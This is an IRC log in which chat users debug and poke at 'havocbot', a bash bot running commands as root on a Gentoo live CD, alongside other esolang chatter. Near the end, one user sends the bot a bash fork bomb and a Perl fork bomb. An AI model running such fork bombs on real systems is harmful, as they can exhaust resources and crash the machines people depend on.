02:46:28 <havocbot> oerjan:[[ "$1" == ?*//* ]] || { echo usage: "mk[x]" file//contents >&2; exit 1; }; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$(echo-p "$key")" && echo "$key"
02:46:34 <moon__> ./mk foo//bar
02:46:44 <moon__> havocbot: ./mk foo//bar
02:46:51 <moon__> command not found
02:46:54 <oerjan> i think there might be a problem finding echo-p
02:47:05 <moon__> no its mk thats not found
02:47:18 <moon__> as stated by the terminal
02:47:19 <oerjan> havocbot: ls ~
02:47:31 <moon__> invalid dir
02:47:35 <moon__> try just ls
02:47:39 <oerjan> havocbot: ls .
02:47:39 <havocbot> oerjan:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src
02:47:42 <moon__> thats the dir we are in
02:47:43 <moon__> :P
02:48:22 <moon__> havocbot: ls /
02:48:22 <havocbot> moon__:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var
02:48:31 <oerjan> havocbot: sed -i s,echo-p,.,echo-p, mk
02:48:37 <oerjan> havocbot: cat mk
02:48:37 <havocbot> oerjan:[[ "$1" == ?*//* ]] || { echo usage: "mk[x]" file//contents >&2; exit 1; }; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$(echo-p "$key")" && echo "$key"
02:48:44 <oerjan> oops
02:48:49 <oerjan> havocbot: sed -i s,echo-p,./echo-p, mk
02:48:51 <oerjan> havocbot: cat mk
02:48:52 <havocbot> oerjan:[[ "$1" == ?*//* ]] || { echo usage: "mk[x]" file//contents >&2; exit 1; }; key="${1%%//*}"; value="${1#*//}"; echo "$value" > "$(./echo-p "$key")" && echo "$key"
02:49:02 <moon__> havocbot: ./mk foo//bar
02:49:13 <oerjan> havocbot: cat foo
02:49:17 <oerjan> :(
02:49:18 <moon__> mk: command not found in line 175 of bashbot
02:49:52 <oerjan> moon__: well that's strange.
02:49:57 <oerjan> havocbot: ls -l mk
02:49:57 <havocbot> oerjan:-rw-r--r-- 1 root root 163 Jun 10 01:48 mk
02:49:58 <moon__> mhm
02:50:02 <oerjan> bah
02:50:08 <moon__> ?
02:50:10 <oerjan> havocbot: chmod +x mk
02:50:15 <moon__> oh lol
02:50:19 <moon__> havocbot: ./mk foo//bar
02:50:22 <oerjan> havocbot: ls -l echo-p
02:50:22 <havocbot> oerjan:-rwxr-xr-x 1 root root 63 Jun 10 01:44 echo-p
02:50:31 <moon__> mk is still not found
02:50:36 <oerjan> havocbot: chmod a+x mk
02:50:40 <oerjan> havocbot: ls -l mk
02:50:41 <havocbot> oerjan:-rwxr-xr-x 1 root root 163 Jun 10 01:48 mk
02:50:50 <moon__> you blacked my terminal with that for some reason
02:50:59 <moon__> actually
02:51:06 <moon__> just gentoo going to sleep, nvm
02:51:13 <oerjan> ...
02:51:26 <moon__> does gentoo do that?
02:51:34 <oerjan> havocbot: cat foo
02:52:56 <moon__> urg
02:53:21 <moon__> if i knew bash a little better, we wouldnt have this problem >_>
02:53:39 <moon__> well, maybe a python bot made by someone would help.
02:55:10 -!- Kaynato has joined.
02:55:22 <moon__> havocbot: echo Hello
02:55:22 <havocbot> moon__:Hello
02:55:33 <oerjan> hm...
02:55:49 -!- xkapastel has quit (Quit: Connection closed for inactivity).
02:55:52 <oerjan> havocbot: bash -c echotest
02:55:52 <havocbot> oerjan:
02:55:59 <oerjan> wat
02:56:06 <moon__> .-.
02:56:16 <oerjan> havocbot: bash -c echo
02:56:16 <havocbot> oerjan:
02:56:19 <oerjan> oh.
02:56:20 <moon__> multiargs ruin everything
02:56:34 <oerjan> yes. i was trying to see if tabs got around it.
02:56:54 <moon__> maybe fizzie could help, he/she is good with computers
02:58:25 <oerjan> havocbot: bash -c echo{,$PATH}
02:58:25 <havocbot> oerjan:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
02:58:31 <moon__> anyone who has experience with gentoo on?
02:58:33 <oerjan> :P
02:58:39 <oerjan> found a trick
02:58:40 <moon__> wait gcc? oh yay
02:58:51 <moon__> oh neat
02:59:05 <oerjan> hm no home directory listed
02:59:18 <moon__> cd goes to it, but thats it >_>
02:59:51 <oerjan> you should add the bin directory to $PATH
03:00:06 <moon__> if i knew how, im a linux newb still hah
03:00:09 <oerjan> then you can have new commands in their proper place
03:00:16 <oerjan> hmph
03:00:44 <moon__> you *are* the root user you know
03:00:49 <oerjan> hm...
03:00:55 <oerjan> havocbot: ls /
03:00:56 <havocbot> oerjan:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var
03:01:04 <oerjan> wat
03:01:09 <oerjan> havocbot: ls ..
03:01:09 <havocbot> oerjan:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var
03:01:14 <oerjan> havocbot: ls ../../
03:01:14 <havocbot> oerjan:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var
03:01:22 <oerjan> havocbot: ls /../../
03:01:23 <havocbot> oerjan:bin:boot:dev:etc:home:initramfs:lib:mnt:opt:proc:root:run:sbin:sys:tmp:usr:var
03:01:33 <oerjan> what happened to all the stuff i saw before...
03:01:37 <oerjan> havocbot: ls
03:01:38 <havocbot> oerjan:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src
03:01:44 <oerjan> i guess it's that
03:01:57 <oerjan> havocbot: file ii-1.7
03:01:58 <havocbot> oerjan:ii-1.7: directory
03:02:08 <oerjan> havocbot: ls ii-1.7
03:02:08 <havocbot> oerjan:CHANGES:FAQ:LICENSE:Makefile:README:bashbot-master:config.mk:ii.1:ii.c:master.zip:query.sh
03:02:50 <moon__> ii is a irc service, but i didnt use it
03:02:57 <moon__> dont touch bashbot-master
03:03:01 <moon__> that contains havoc
03:03:40 <moon__> and the shellscript
03:03:43 <oerjan> oh that's it
03:03:50 <moon__> if you can upload it somewhere and fix it. go ahead
03:03:51 <oerjan> havocbot: ls bashbot-master
03:03:58 <oerjan> wat
03:04:05 <oerjan> havocbot: file bashbot-master
03:04:06 <havocbot> oerjan:bashbot-master: cannot open `bashbot-master' (No such file or directory)
03:04:10 <moon__> no cd
03:04:11 <moon__> hah
03:04:23 <moon__> its the hackego nocd situation, remember?
03:04:26 <oerjan> havocbot: file ii-1.7/bashbot-master
03:04:26 <havocbot> oerjan:ii-1.7/bashbot-master: directory
03:04:34 <oerjan> havocbot: ls ii-1.7/bashbot-master
03:04:35 <havocbot> oerjan:README:bashbot:bashbot.config:bashbot.pid:commands:filters
03:04:45 <oerjan> havocbot: ls ii-1.7/bashbot-master/bashbot
03:04:46 <havocbot> oerjan:ii-1.7/bashbot-master/bashbot
03:05:01 <moon__> the script is 'bashbot' i decided not to reinvent the wheel and just modified a script by someone else
03:05:31 <oerjan> havocbot: grep "[$]@" ii-1.7/bashbot-master/bashbot
03:05:31 <havocbot> oerjan: printf "%s\r\n" "$@" >&3; }: if [[ "$@" =~ $f ]]; then:bashbot_args=("$0" "$@"): case "$@" in: builtin_reload "$@": "${builtin_commands[$cmd]}" "$@": $cmd "$@" | sed ':a;N;$!ba;s/\n/:/g': # "/bin/$cmd" "$@" | sed ':a;N;$!ba;s/\n/:/g': cd "$@"
03:05:49 <oerjan> sheesh
03:05:59 <moon__> $cmd "$@" | sed ':a;N;$!ba;s/\n/:/g' is what i came up with to get rid of the endlines
03:06:06 <moon__> yes i know
03:06:12 <moon__> please dont kill me
03:09:31 <oerjan> nah that's about how awkward that is in sed
03:09:44 <oerjan> joining lines is _not_ fun
03:11:09 <moon__> +1
03:11:15 <moon__> thats all i can say
03:14:04 <moon__> chat's dead
03:14:06 <moon__> again
03:14:14 <moon__> say something if you are alive
03:15:21 <moon__> ima install the stage3 tarball so you all can use gcc
03:15:27 -!- havocbot has quit (Remote host closed the connection).
03:16:16 -!- havocbot has joined.
03:16:18 <moon__> actually, i think its easier to get the tarball over irc
03:16:22 <moon__> havocbot: wget distfiles.gentoo.org/releases/x86/autobuilds/20160607/stage3-i686-20160607.tar.bz2
03:16:38 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
03:16:42 <moon__> oh boy my network is lsow
03:17:46 <moon__> someone give my internet a hug
03:17:47 <moon__> also
03:17:58 <moon__> you can do stuff while the tarball downloads i think
03:18:02 <moon__> havocbot: ls
03:18:02 <havocbot> moon__:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src:stage3-i686-20160607.tar.bz2
03:18:36 <moon__> dont touch the tarball
03:21:53 -!- oerjan has quit (Quit: Something's gone wrong with tmux again).
03:22:18 <moon__> im lonely
03:23:07 -!- xkapastel has joined.
03:23:31 <moon__> havocbot: echo hello
03:23:32 <havocbot> moon__:hello
03:24:56 <moon__> chat is truely dead
03:25:49 -!- oerjan has joined.
03:26:03 <moon__> wb
03:26:15 <oerjan> i think something locked up temporarily on this server
03:26:26 <oerjan> but it eventually resolved. i think.
03:26:52 <moon__> what server?
03:27:33 <oerjan> the server i'm irc'ing via
03:27:47 <oerjan> (not an irc server, a linux server)
03:27:47 <moon__> oh
03:28:00 <oerjan> now i need some food ->
03:28:21 <moon__> you think you could make a better irc script for havoc? it can be in either bash or python
03:30:53 <quintopia> helloon
03:31:25 <moon__> hii
03:31:37 <moon__> havocbot is still kinda glitchy, but it works
03:31:46 <quintopia> you'd be less lonely if you renamed it bruce
03:31:49 <moon__> havocbot: echo hello!
03:31:49 <havocbot> moon__:hello!
03:31:51 <moon__> lol
03:31:54 <moon__> nah
03:37:44 <trn> weev/moot 2020!
03:37:59 <trn> or maybe esr/rooshv
03:39:23 <oerjan> moon__: i think i've used more time on this bot than i wanted to at this time.
03:49:18 -!- moon__ has quit (Ping timeout: 250 seconds).
03:49:28 -!- havocbot has quit (Ping timeout: 272 seconds).
03:58:55 <oerjan> `? `?
03:58:58 <HackEgo> ​`? is the command to query wisdom entries.
03:59:40 <shachaf> `before
03:59:47 <HackEgo> wisdom/can't//can't is the most frequent word whose pronunciation varies between /ɑː/ and /æ/ depending on dialect. The list is: advance after answer ask aunt brass can't cast castle chance class command dance demand draft enhance example fast father glass graph grass half last laugh mask master nasty pass past path plant rather sample shan't st
03:59:49 <shachaf> `cat bin/before
03:59:52 <HackEgo> lastfiles | while read f; do echo -n "$f//"; hg cat -r -2 "$f"; done
03:59:58 <shachaf> `cat bin/lastfiles
03:59:59 <HackEgo> hg log -l 1 --template "{files}\n"
04:00:49 <oerjan> `undo 8426
04:00:57 <HackEgo> patching file 'wisdom/`?'
04:01:40 <shachaf> `mkx bin/before//([[ -n "$1" ]] && echo "$1" || lastfiles) | while read f; do echo -n "$f//"; hg cat -r -2 "$f"; done
04:01:43 <HackEgo> bin/before
04:01:57 <shachaf> Hmm, maybe not.
04:02:01 <shachaf> `revert
04:02:25 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
04:02:25 <quintopia> huh. pronouncing all of those with a ɑː is kind of fun
04:02:59 <shachaf> `sled bin/lastfiles//s/$/ "$@"/
04:03:02 <HackEgo> bin/lastfiles//hg log -l 1 --template "{files}\n" "$@"
04:03:06 <shachaf> `lastfiles
04:03:12 <HackEgo> bin/lastfiles
04:03:13 <shachaf> `lastfiles wisdom
04:03:18 <HackEgo> wisdom/`?
04:03:23 <oerjan> `? `?
04:03:25 <HackEgo> ​`? ¯\(°​_o)/¯
04:03:43 <shachaf> `sled bin/before//s/files/files "$@"/
04:03:47 <HackEgo> bin/before//lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r -2 "$f"; done
04:03:51 <shachaf> `before
04:03:59 <HackEgo> bin/before//lastfiles | while read f; do echo -n "$f//"; hg cat -r -2 "$f"; done
04:04:03 <shachaf> `before wisdom
04:04:13 <HackEgo> wisdom/`?//`? ¯\(°​_o)/¯
04:04:17 <shachaf> there we go tdh
04:04:18 <oerjan> fancy
04:04:30 <oerjan> `before share
04:04:37 <HackEgo> share/test//share/test: no such file in rev 9345cfdfdd22
04:04:39 <shachaf> `sled bin/lastfiles//s/....$/-- "$@"/
04:04:42 <HackEgo> bin/lastfiles//hg log -l 1 --template "{files}\n" -- "$@"
04:05:11 <shachaf> `before wisdom/`?
04:05:17 <HackEgo> wisdom/`?//`? ¯\(°​_o)/¯
04:05:22 <shachaf> `? `?
04:05:23 <HackEgo> ​`? ¯\(°​_o)/¯
04:05:31 <shachaf> Hmm, is something wrong there?
04:05:49 <oerjan> no, it's fine hth
04:05:55 -!- Melvar has quit (Ping timeout: 260 seconds).
04:06:30 <shachaf> What am I missing?
04:06:40 <shachaf> Oh, wait.
04:06:42 <shachaf> Now I see.
04:06:47 <shachaf> Of course -r -2 doesn't do what I want.
04:07:12 <oerjan> oh that
04:07:26 <oerjan> tricky
04:08:34 -!- bender has joined.
04:10:34 <shachaf> `cat bin/spam
04:10:36 <HackEgo> line="$(cat /hackenv/tmp/spline)"; len="$(wc -l /hackenv/tmp/spout | awk '{print $1}')"; echo -n "$line/$len:"; sed -n "${line}p" /hackenv/tmp/spout; echo "$((line+1))" > /hackenv/tmp/spline
04:11:16 <shachaf> `sled bin/before//s/-2/"$(hg log --template '{rev}\\n' "$f" | tail -n+2 | head -n1)"/
04:11:19 <HackEgo> bin/before//lastfiles "$@" | while read f; do echo -n "$f//"; hg cat -r "$(hg log --template '{rev}\n' "$f" | tail -n+2 | head -n1)" "$f"; done
04:11:23 <shachaf> `before wisdom
04:11:33 <HackEgo> wisdom/`?//`? is the command to query wisdom entries.
04:11:40 <shachaf> hth
04:11:53 <shachaf> Of course now it'll run three hg commands.
04:13:29 <oerjan> `learn Politics: See lies.
04:13:33 <HackEgo> Learned 'politic': Politics: See lies.
04:13:38 <oerjan> bah
04:13:46 <oerjan> `` mv politic{,s}
04:13:48 <HackEgo> mv: cannot stat `politic': No such file or directory
04:13:54 <oerjan> `` mv wisdom/politic{,s}
04:13:57 <HackEgo> No output.
04:18:50 <shachaf> `? lies
04:18:51 <HackEgo> Lies are even easier than monoids. They form groups, known as Lie groups.
04:19:30 <shachaf> `learn Politics are even easier than monoids. They form groups, known as Politic groups
04:21:16 -!- Melvar has joined.
04:22:38 -!- spiette has joined.
04:36:23 -!- \oren\in_maid_ca has joined.
04:36:40 <\oren\in_maid_ca> hi
04:37:17 -!- \oren\in_maid_ca has changed nick to \oren\maidcafe.
04:38:53 <\oren\maidcafe> someone make a esolang where もえもえきゅーん is a valid program
04:39:46 <pikhq> Brainfuck HTH
04:42:04 <\oren\maidcafe> pikhq how about if the hiraganna have to make it into the parser
04:43:52 <\oren\maidcafe> for some reason i cant seem to ssh frome here. owell
04:46:37 -!- \oren\maidcafe_ has joined.
04:48:14 -!- \oren\maidcafe has quit (Ping timeout: 250 seconds).
04:59:30 -!- \oren\maidcafe_ has quit (Ping timeout: 250 seconds).
05:20:45 -!- dnm has joined.
05:32:20 -!- contrapumpkin has joined.
05:34:10 -!- copumpkin has quit (Ping timeout: 252 seconds).
06:33:51 -!- Kaynato has quit (Ping timeout: 246 seconds).
06:35:59 <myname> can you actually refer to politics as "they"?
06:38:15 <Sgeo_> So, in bases 4 and greater, 111*111=12321. Is there a name for this sort of thing?
06:38:20 <Sgeo_> http://pastie.org/10871341
06:46:53 <myname> multiplication :p
06:47:19 <oerjan> Sgeo_: i dunno but 11^n is another good one
06:47:26 <oerjan> (for various n)
06:47:55 <oerjan> (and sufficiently high bases)
06:48:40 <myname> 11^n is neat
06:49:40 -!- lambda-11235 has quit (Quit: Bye).
07:07:00 <izabera> We do but teach bloody instructions
07:07:02 <izabera> Which, being taught, return to plague th' inventor
07:29:28 -!- hppavilion[1] has joined.
07:46:05 <hppavilion[1]> Waaaaaait
07:46:13 <hppavilion[1]> I think I found a solution to the utilities puzzle
07:46:23 <hppavilion[1]> Or, a solution to the way it is usually explained
07:46:33 <hppavilion[1]> Because obviously there isn't a "pure" solution
07:46:51 <hppavilion[1]> But the explanation usually given leaves out a rather important bit
07:49:23 <HackEgo> [wiki] [[Fish]] https://esolangs.org/w/index.php?diff=47186&oldid=45215 * 192.225.214.131 * (+17) no one actually pronounces this symbol like that...it may be a claim of the author but `pronounced` implies actual real-world pronunciation
07:52:48 -!- Destructible has joined.
07:53:07 <Destructible> hoi
07:53:49 <Destructible> anybody
07:53:52 <Destructible> ?'
07:53:52 <lambdabot> Maybe you meant: v @ ? .
07:54:26 <Destructible> anybody?
07:54:34 <Destructible> `? people
07:54:42 <HackEgo> people? ¯\(°​_o)/¯
07:58:54 -!- Destructible has quit (Ping timeout: 250 seconds).
07:59:50 -!- mroman has joined.
07:59:56 <mroman> fnirdle
08:05:56 <HackEgo> [wiki] [[Fish]] https://esolangs.org/w/index.php?diff=47187&oldid=47186 * Oerjan * (-8) Descriptivism is boring
08:43:32 <hppavilion[1]> I'm more of a restrictivist myself
08:44:09 <hppavilion[1]> oerjan: (Prescriptivist scum!)
08:45:50 -!- xkapastel has quit (Quit: Connection closed for inactivity).
08:47:11 <HackEgo> [wiki] [[Template:Wrongtitle]] https://esolangs.org/w/index.php?diff=47188&oldid=30193 * Hppavilion1 * (+25) Chastised people, increased informational quality, got to the root of the problem, and made it more esoteric-befitting, all in one fell sweep.
09:05:15 -!- augur_ has quit (Remote host closed the connection).
09:16:55 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
09:17:48 <HackEgo> [wiki] [[Template:Wrongtitle]] M https://esolangs.org/w/index.php?diff=47189&oldid=47188 * Oerjan * (-25) Reverted edits by [[Special:Contributions/Hppavilion1|Hppavilion1]] ([[User talk:Hppavilion1|talk]]) to last revision by [[User:Ehird|Ehird]]
09:45:41 -!- oerjan has quit (Quit: Nite).
10:00:25 <b_jonas> "<quintopia> huh. pronouncing all of those with a ɑː is kind of fun" => for most words it doesn't matter, but it's vital for "can't", because it lets you distinguish "can't do" from "can do" easily
10:00:53 <b_jonas> I usually pronounce most of those words with /ɑː/
10:01:01 <b_jonas> (not all)
10:17:27 -!- Phantom_Hoover has joined.
10:21:29 -!- gamemanj has joined.
10:58:39 -!- Destructible has joined.
10:58:43 <Destructible> hi
11:10:58 <Destructible> anybody?
11:29:30 -!- Destructible has quit (Quit: Page closed).
11:29:58 -!- Destructible has joined.
11:33:08 <Destructible> hellloooooo
11:33:13 -!- boily has joined.
11:33:18 <Destructible> hi
11:36:12 <Destructible> hello?
11:36:50 <boily> Destructibello!
11:37:03 <Destructible> destructibello?
11:37:48 <boily> it's a porthello. I tend to be known for them.
11:38:01 <boily> witness: hellochaf.
11:39:20 <Destructible> ok
11:40:06 <Destructible> well, I had an idea for a language
11:41:53 <Destructible> there would be only two operations
11:43:35 <Destructible> digit roots
11:43:42 <Destructible> oh wait
11:43:48 <Destructible> I had a better idea
11:43:57 <Destructible> only one operation
11:44:43 <Destructible> digit roots
11:45:28 <Destructible> wait
11:45:40 <Destructible> nevermind i have no actually idea
11:48:11 <boily> don't root your digits. that seems to be the start cause of your problems hth
11:49:49 <Destructible> was that funny?
11:50:26 <Destructible> I had another idea
11:52:36 <Destructible> it takes place on a grid of bytes
11:52:51 <Destructible> it has very few commands, if not one
11:54:41 <Destructible> on one of the tiles is a value of one
11:55:50 <Destructible> the main command consists of coordinates of the grid
11:57:09 <Destructible> if the grid tile is zero, the grid tile is equal to the 4 orthoganally adjacent tiles
11:57:12 <Destructible> otherwise
11:57:18 <Destructible> grid tile is zero
11:58:36 <Destructible> any other command would be control structures
12:01:07 <boily> extreme binary self-modifying befunge?
12:01:14 <boily> that sounds interesting.
12:01:32 <Destructible> no
12:01:35 <Destructible> no it is not
12:02:03 <Destructible> the grid only contains values
12:03:57 <Destructible> i think it could also have a goto at the end if it's a certain value or something.
12:04:05 <Destructible> then it could be a urisc
12:07:15 <Destructible> in fact, perhaps it could be the machine code for an eso comp
12:07:51 <Destructible> witha grid of bytes, numbered on x and y, instead of a single value
12:13:18 -!- hppavilion[1] has joined.
12:15:48 <Destructible> hi
12:16:34 <Destructible> hello hppavilion[1]
12:17:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
12:25:35 -!- gamemanj has quit (Remote host closed the connection).
12:29:56 -!- boily has quit (Quit: NUDE CHICKEN).
12:33:29 -!- atrapado has joined.
12:41:01 <b_jonas> wait wait wait
12:41:08 <b_jonas> ImageMagick version 7 is released?
12:41:16 <b_jonas> was that even listed?
12:41:42 <b_jonas> what other software was released while I wasn't looking?
12:43:11 <b_jonas> when was it released?
12:55:35 <Yurume_> Linux 4
12:56:42 <b_jonas> Yurume_: no, sorry. Linux has lots of nice and useful development, it is important, but I don't care about the arbitrary major version number increase.
12:57:02 <Yurume_> yeah, but just in case
12:57:08 <b_jonas> sure
13:06:44 <Destructible> hi
13:20:01 -!- spiette has quit (Ping timeout: 252 seconds).
13:24:02 -!- Destructible has quit (Quit: Page closed).
13:33:33 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
13:53:22 -!- mroman has quit (Ping timeout: 250 seconds).
14:21:04 -!- Koen_ has joined.
14:33:22 -!- idris-bot has joined.
14:36:01 -!- spiette has joined.
14:52:31 -!- lambda-11235 has joined.
14:53:24 -!- spiette has quit (Ping timeout: 244 seconds).
14:55:01 -!- spiette has joined.
15:51:43 -!- contrapumpkin has changed nick to copumpkin.
15:54:48 -!- dnm has quit (Ping timeout: 276 seconds).
15:57:13 -!- Akaibu has quit (Quit: Connection closed for inactivity).
15:59:32 -!- xkapastel has joined.
16:04:32 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
16:24:17 -!- Kaynato has joined.
16:43:23 -!- havocbot has joined.
16:45:15 -!- moon_ has joined.
16:45:25 -!- Akaibu has joined.
16:45:32 <moon_> is chat dead? havocbot's logs show so
16:47:15 <moon_> havocbot: bash
16:47:41 <moon_> aww i cant call commands still
16:47:51 <moon_> havocbot: echo unfrozenverify
16:47:52 <havocbot> moon_:unfrozenverify
16:48:52 <moon_> )=
16:49:13 -!- havocbot has quit (Remote host closed the connection).
16:49:15 <prooftechnique> What is dead may never die
16:49:28 -!- havocbot has joined.
16:49:39 <moon_> lol
16:50:52 <moon_> by the way. havocbot can be pmed
16:51:10 <prooftechnique> Though I guess what I really mean is "That is not dead which can eternal lie", but I was watching GoT earlier :|
16:51:25 <moon_> heh
16:51:28 <prooftechnique> Speaking specifically about oerjan's eternal lying hth
16:51:33 <moon_> lol
16:51:49 <prooftechnique> Neat. What does havocbot do?
16:51:57 <moon_> maybe ybden's successful attempts at kiling havocbot? havocbot is a gentoo bot
16:52:08 <moon_> i tryed to get it on openbsd with no sucess
16:52:39 <moon_> havocbot: ls
16:52:39 <havocbot> moon_:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src:stage3-i686-20160607.tar.bz2
16:52:42 <prooftechnique> So it obsesses about USE flags and rices all day erryday?
16:53:09 <prooftechnique> havocbot: tail -n 2 bashbot.config
16:53:09 <havocbot> prooftechnique:port=6667:chans=( "#esoteric" )
16:53:24 <moon_> dont you dare >_>
16:53:37 <moon_> well, actully, go ahead, the stuff is hardcoded
16:53:49 <moon_> havoc is written in bash
16:54:01 <moon_> and i will murder you if you killall
16:54:18 <prooftechnique> Now if I could just remember all the incantations to rebuild the kernel with some wacky flags
16:54:22 <myname> tempting
16:54:35 <prooftechnique> I guess there's not a ton to be done with only a stage3 tarball, but still
16:54:40 <ybden> havocbot: cat bashbot.config
16:54:40 <havocbot> ybden:nick=havocbot:server=irc.freenode.net:port=6667:chans=( "#esoteric" )
16:54:43 <izabera> where is havoc's source?
16:54:55 <moon_> the last folder inside ii-1.7
16:54:59 <moon_> bahsbot-master
16:55:05 <moon_> *bashbot-master
16:55:25 <moon_> where i preformed necromantic wizardry on someone else's irc bot
16:55:29 <prooftechnique> havocbot: tree ii-1.7
16:55:42 <moon_> not found
16:55:56 <moon_> i need to install that stage3 so we have gcc
16:55:59 <prooftechnique> havocbot: emerge -a tree
16:56:11 <moon_> not found, idk where it is
16:56:16 <moon_> but the livecd lacks it
16:56:27 <ybden> for some unknown reason
16:56:31 <moon_> ^
16:56:35 <ybden> This is Gentoo. Without a compiler.
16:56:49 <moon_> thats why i have the stae3
16:56:53 <moon_> i just need to install it
16:56:57 <izabera> gimme source
16:57:12 <moon_> havocbot: tar xzjf stage3-i686-20160607.tar.bz2
16:57:26 <moon_> im no good at tar
16:57:30 <moon_> havocbot: tar jf stage3-i686-20160607.tar.bz2
16:57:45 <moon_> havocbot: tar xjf stage3-i686-20160607.tar.bz2
16:57:51 <moon_> there
16:58:00 <moon_> you can preform cmmands in parallel, by the way
16:58:01 <prooftechnique> havocbot: tar xvjpf stage3-*.tar.bz2 --xattrs
16:58:07 <prooftechnique> Oh, whoops
16:58:08 <moon_> thats why interactives dont cause problems
16:58:21 <moon_> xattr is not avaliable
16:58:25 <moon_> damnit livecd
16:58:39 <moon_> havocbot: ls
16:58:40 <havocbot> moon_:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src:stage3-i686-20160607.tar.bz2:sys:usr
16:58:47 <prooftechnique> This is a very weird livecd
16:58:54 <moon_> just need t- its from 2015
16:58:55 <moon_> ik
16:59:01 <moon_> its ridiculous
16:59:07 <moon_> idk what is up with it
16:59:12 <prooftechnique> If I open an ed session, is it going to explode? :D
16:59:12 <b_jonas> moon_: um, shouldn't you do that only when I'm not here?
16:59:15 <moon_> but im gonna download a new one later
16:59:23 <moon_> no
16:59:31 <b_jonas> like, in saturday night and morning?
16:59:33 <moon_> it will just run in the backround
16:59:43 <moon_> go ahead, use it, idk
16:59:46 <moon_> *idc
17:00:00 <moon_> i will slap you if you open another bashbot session, tho
17:00:31 <moon_> oh god
17:00:35 <moon_> the disk ran out of space
17:00:40 <moon_> i need to make another one >_>
17:00:47 -!- havocbot has quit (Remote host closed the connection).
17:00:48 <prooftechnique> havocbot: export CFLAGS="-march=native -O2 -pipe"
17:00:52 <moon_> bad havoc
17:00:54 <moon_> baaad
17:01:07 <prooftechnique> Good night, sweet prince
17:01:49 <prooftechnique> I predict 30 days from inception to the birth of havocbotnet from the ashes of havocbot
17:01:53 <moon_> ok, virtualbox should expand the drive this time
17:02:12 <b_jonas> havocbot: df
17:02:16 <b_jonas> havocbot: mount
17:02:20 <moon_> wiat
17:02:22 <moon_> wait
17:02:23 <moon_> dummy
17:02:24 -!- bender has quit (Quit: Leaving).
17:02:30 <moon_> its offline
17:02:49 -!- augur has joined.
17:03:08 <moon_> ill make another 8 gb drive, but ill have it be fixed, so the 8gb already exist
17:03:19 <ybden> This is highly entertaining.
17:03:39 <b_jonas> aww
17:03:43 <moon_> ok
17:03:48 <moon_> livecd stinks
17:03:56 <moon_> it turns out it didnt save anything at all
17:03:59 <moon_> grrr
17:04:08 <prooftechnique> Kind of the nature of a livecd if you don't run the installer
17:04:12 <moon_> i lost all my mods heh
17:04:25 <moon_> and how do i do that?
17:04:56 <moon_> well reimplenting my mods will only take a second
17:05:17 <prooftechnique> https://wiki.gentoo.org/wiki/Handbook:Main_Page
17:05:23 <prooftechnique> The same way everyone installs Gentoo
17:06:49 <qrf> zomg Linux noob
17:07:12 <b_jonas> moon_: ah, so you are doing this correctly after all
17:07:18 <b_jonas> because it was offline when I noticed
17:07:19 <b_jonas> damn
17:07:48 <prooftechnique> No bot has ever been named more appropriately
17:08:06 <moon_> hah very funny
17:09:33 <prooftechnique> qrf: Gentoo was my distro of choice for several months when the only hard drive I had was dying, and only Gentoo would get through installation and actually run on the thing. I still have no idea why
17:09:53 <asie> Gentoo is held together by magic and Python scripts
17:09:57 <prooftechnique> As far as I know, there's a USE flag for it
17:10:43 <qrf> I used Gentoo for a couple of years, too
17:10:45 <asie> I wonder if Gentoo has an USE flag for not crashing
17:10:47 <qrf> Switched to Arch after that
17:10:51 <asie> ever
17:11:03 <prooftechnique> USE="chewinggum ducttape -safetynet"
17:14:18 <moon_> what was the no endline sed command i used again?
17:15:00 <prooftechnique> endline?
17:15:08 <prooftechnique> Like EOL, or newline?
17:16:48 <moon_> nvm
17:16:54 -!- havocbot has joined.
17:17:23 <moon_> havocbot: echo i have been revived by necormantic wizardy
17:17:36 <moon_> wait i broke something
17:17:37 <moon_> again
17:17:40 -!- havocbot has quit (Remote host closed the connection).
17:18:08 <prooftechnique> Make sure to save a snapshot when you get it working
17:18:26 <moon_> i will (;
17:18:33 -!- havocbot has joined.
17:19:12 <moon_> havocbot: ls
17:19:12 <havocbot> moon_:bashbot-master/bashbot.config/bashbot.pid/master.zip
17:19:18 <moon_> theeereeee we go!
17:19:37 <prooftechnique> havocbot: whoami
17:19:38 <havocbot> prooftechnique:root
17:19:49 <prooftechnique> Woof
17:20:05 <moon_> snapshot done
17:20:38 <moon_> feel free to tinker, or break something (not on purpose tho, or i will murder you)
17:20:53 <moon_> i'll be watching
17:21:19 <moon_> also, note i changed the : to /
17:21:26 <moon_> i thought the : was ugly
17:21:31 <prooftechnique> havocbot: :(){ :|:& };:
17:21:38 <moon_> havocbot: ls
17:21:38 <havocbot> moon_:bashbot-master/bashbot.config/bashbot.pid/master.zip
17:21:48 <moon_> it runs parallels
17:21:54 <prooftechnique> perl -e "fork while fork" &
17:21:58 <moon_> wait is that a forkbomb?
17:22:02 <moon_> really-.=
17:22:02 <prooftechnique> havocbot: perl -e "fork while fork" &
17:22:15 <prooftechnique> Now it's running two forkbombs in parallel :)
17:22:28 <prooftechnique> Assuming it even has perl
17:22:32 <moon_> it does
17:22:45 <moon_> funny thing tho: its not, the cpu is 1-2%
17:23:14 <moon_> my game of factorio is useing more mem
17:23:27 <moon_> and cpu
